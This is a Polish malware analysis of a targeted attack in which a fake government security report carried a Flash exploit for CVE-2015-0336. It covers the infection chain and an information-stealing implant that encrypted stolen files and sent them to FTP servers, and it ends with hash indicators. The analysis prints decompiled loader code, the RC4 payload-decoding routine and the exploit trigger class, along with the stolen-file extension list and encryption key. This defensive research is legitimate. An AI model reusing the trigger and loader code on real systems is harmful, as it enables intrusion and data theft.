Etap I - Infekcja
Dokument RD RCB 11.06.docx przypomina raporty jakie można pobrać ze strony Rządowego Centrum Bezpieczeństwa - rcb.gov.pl z tą różnicą, że na stronie dostępne są tylko w formacie PDF.
Dokument zawierała obiekt flash zawierający skrypty w AS3. Poniżej fragment weryfikujący wersję flash zainstalowaną na atakowanym komputerze.
Obiekt fws zawiera między innymi główną funkcję Arrfhs432tyh() oraz dwa obiekty binarne: trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759 oraz shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359. W kodzie głównej funkcji możemy znaleźć odwołania do tych obiektów i miejsca gdzie są odczytywane. Poniżej fragment skryptu uruchamiającego funkcję z zewnętrznego obiektu.
...
this.rigembe = trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759;
this.shelembe = shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359;
...
var _loc2_:ByteArray = new this.rigembe() as ByteArray;
_loc1_ = this.unzip("decompress",new this.rigembe() as ByteArray);
var _loc3_:Loader = new Loader();
_loc3_.loadBytes(_loc1_);
…
Można zauważyć, że na początku wywoływana jest funkcja unzip(), która również znajduje się w analizowanym skrypcie. Aby odczytać zawartość „zewnętrznego” skryptu tworzymy własny program dekodujący (np. w Flash Builder) korzystając z funkcji unzip() oraz dwóch funkcji służących do odczytu pliku (obiektu) i zapisu. Zawartość funkcji unzip():
private function unzip(param1:String, param2:ByteArray) : ByteArray
{
var _loc3_:uint = 0;
var _loc4_:uint = 0;
var _loc5_:uint = 0;
var _loc6_:ByteArray = new ByteArray();
var _loc7_:uint = 0;
var _loc8_:ByteArray = new ByteArray();
var _loc9_:ByteArray = new ByteArray();
_loc9_.writeMultiByte(param1,"iso-8859-1");
_loc4_ = 0;
while(_loc4_ < 256)
{
_loc6_[_loc4_] = _loc4_;
_loc4_++;
}
_loc4_ = 0;
while(_loc4_ < 256)
{
_loc7_ = _loc7_ + _loc6_[_loc4_] + _loc9_[_loc4_ % _loc9_.length] & 255;
_loc3_ = _loc6_[_loc4_];
_loc6_[_loc4_] = _loc6_[_loc7_];
_loc6_[_loc7_] = _loc3_;
_loc4_++;
}
_loc4_ = 0;
_loc7_ = 0;
_loc5_ = 0;
while(_loc5_ < param2.length)
{
_loc4_ = _loc4_ + 1 & 255;
_loc7_ = _loc7_ + _loc6_[_loc4_] & 255;
_loc3_ = _loc6_[_loc4_];
_loc6_[_loc4_] = _loc6_[_loc7_];
_loc6_[_loc7_] = _loc3_;
_loc8_[_loc5_] = param2[_loc5_] ^ _loc6_[_loc6_[_loc4_] + _loc6_[_loc7_] & 255];
_loc5_++;
}
return _loc8_;
}
Przykładowe funkcje odczytu i zapisu, których użyjemy w naszym programie dekodującym:
private function writeBytesToFile(fileName:String, data:ByteArray):void
{
var outFile:File = File.desktopDirectory;
outFile = outFile.resolvePath(fileName);
var outStream:FileStream = new FileStream();
outStream.open(outFile, FileMode.WRITE);
outStream.writeBytes(data, 0, data.length);
outStream.close();
}
private function readFileIntoByteArray(fileName:String, data:ByteArray):void
{
var inFile:File = File.desktopDirectory;
inFile = inFile.resolvePath(fileName);
var inStream:FileStream = new FileStream();
inStream.open(inFile, FileMode.READ);
inStream.readBytes(data);
inStream.close();
}
Odkodowany plik binarny trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759 wskazuje na błąd CVE-2015-0336 poprawiony przez Adobe 12 marca
class Trigger
{
function Trigger()
{
var _loc2_ = _global.ASnative(2100,438181888);
var _loc3_ = new Object();
_loc2_.__proto__ = _loc3_;
_global.ASnative(2100,200)(_loc3_);
_global.ASnative(2100,8).apply(_loc2_,[1]);
var _loc4_ = new LocalConnection();
_loc4_.send("toAS3","rigglo");
}
static function main(mc)
{
Trigger.app = new Trigger();
}
}
Wiemy już w jaki sposób wywoływany jest błąd. Zanim to nastąpi inne funkcje głównego skryptu przygotowują pamięć infekowanego komputera. Tablica cool_ba zawiera łańcuch ROP a pwn_ba zawiera shellcode. Poniżej fragment tej funkcji:
Łańcuch ROP budowany jest za pomocą funkcji cooba().
Istotnym komponentem exploit-a jest kod wykonywalny uruchamiany po wykorzystaniu podatności. Shellcode znajduje się w drugim binarnym pliku this.shelembe = shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359. Oto jego zawartość po dekompresji. Składa się ona z trzech części. Pierwsza część (czerwona ramka) to kod wykonywalny.
Zważywszy na źródło ataku ciekawa jest zawartość zielonej ramki (powyżej) – jest to hasło odkodowujące plik wykonywalny uruchamiany w ostatnim etapie infekcji. Zakodowany plik wykonywalny (niebieska ramka). Odkodowana wersja XOR-em widoczna jest poniżej.
Poniżej ten sam fragment w pamięci komputera (zrzut z debugger-a).
Poniżej fragment stosu tuż przed uruchomieniem odkodowanego pliku wykonywalnego.
Ten sam plik zapisywany jest następnie w lokalizacji (c:/users/<username>/appdata/local/lsaapi.exe) i dodany do zadań systemu Windows uruchamianych cyklicznie.
Etap II – zbieranie informacji
Plik wykonywalny uruchamiany na zainfekowanym komputerze to odmiana złośliwego oprogramowania o nazwie
Dla przypomnienia jedna z funkcji to kradzież informacji. Malware wyszukuje (zaczynając od dokumentów ostatnio używanych przez użytkownika) pliki z następującymi rozszerzeniami:
*.doc;*.xps;*.xls;*.ppt;*.pps;*.wps;*.wpd;*.ods;*.odt;*.lwp;*.jtd;*.pdf;*.zip;*.rar;*.docx;*.xlsx;*.pptx;*.ppsx;*.pst;*.ost;*psw*;*pass*;*login*;*admin*;*sifr*;*sifer*;*vpn;*.jpg*;*.url;*.exe;*.dll;*.tmp;*.obj;*.ocx;*.js
Pliki te są szyfrowane i przesyłane na jeden z serwerów ftp. Wykorzystywane serwer ftp/http, loginy oraz hasła są w poniższej tabeli:
Oto fragment opisu ze strony dostawcy ISP gdzie znajdowały się serwery ftp „Switzerland has long been recognized as a safe haven. It is not a member of the EU, and remains neutral in times of conflict”
Poniżej przykłady plików, które udało nam się pobrać z serwerów ftp.
Ich zawartość to skopiowane przez malware pliki o rozszerzeniach wymienionych powyżej lub zrzuty ekranu. Zrzuty ekranu robione są co kilka minut. Bez względu na zawartość, przed wysłaniem na serwerem ftp pliki są kompresowane a następnie szyfrowane. Szyfrowanie odbywa się za pomocą algorytmu bazującego na RC4. Klucz to: AdjustKernelTableFromSSDTSpace2. Jak wiemy RC4 w ostatnim kroku za pomocą operacji XOR koduje poszczególne bajty z wcześniej przygotowaną tablicą. Dlatego wywołując funkcję szyfrującą z bardzo dużym plikiem wejściowym możemy wygenerować klucz, którą użyjemy później do odkodowywania plików znajdujących się na serwerze. Fragment prawidłowego klucza poniżej:
Przed szyfrowaniem pliki są kompresowane. Dodatkowo złośliwe oprogramowanie na początku pliku i po każdych 100 KB danych dodaje nagłówek. Poniżej przykładowy nagłówek oraz widoczny początek właściwego pliku (FFD8) – co wskazuje na screenshot (format JPG). W nagłówku znajduje się między innymi rozmiar pliku czy offset dotyczący kolejnego nagłówka.
Przykład kolejnego nagłówka:
Odkodowując plik uzyskanym wcześniej kluczem oraz implementując mechanizm dekompresji było możliwe odczytywanie plików umieszczanych przez malware na serwerze ftp. Poniżej zawartość jednego z odkodowanych plików. Można zauważyć, że ktoś próbował monitorować zachowanie malware.
Naszym zdaniem atak z wykorzystaniem dokumentu dotyczącego katastrofy smoleńskiej [2] został przeprowadzony przez tą samą grupę. Intruzi w atakach wykorzystują też inne formaty plików i podatności niezwiązane z flash.
File: RD RCB 11.06.docx
Size: 242537
MD5: 84137c8e7509a0e9cf7ff71ba060cdb5
File: lsaapi.exe (c:/users/<username>/appdata/local/)
Size: 612864
MD5: E452A59F037125937BAFD557AB849E1
Źródła:
[1] http://blogs.technet.com/b/mmpc/archive/2015/06/18/understanding-type-confusion-vulnerabilities-cve-2015-0336.aspx
[2] http://malware.prevenity.com/2015/04/malware-w-5-rocznice-katastrofy-samolotu.html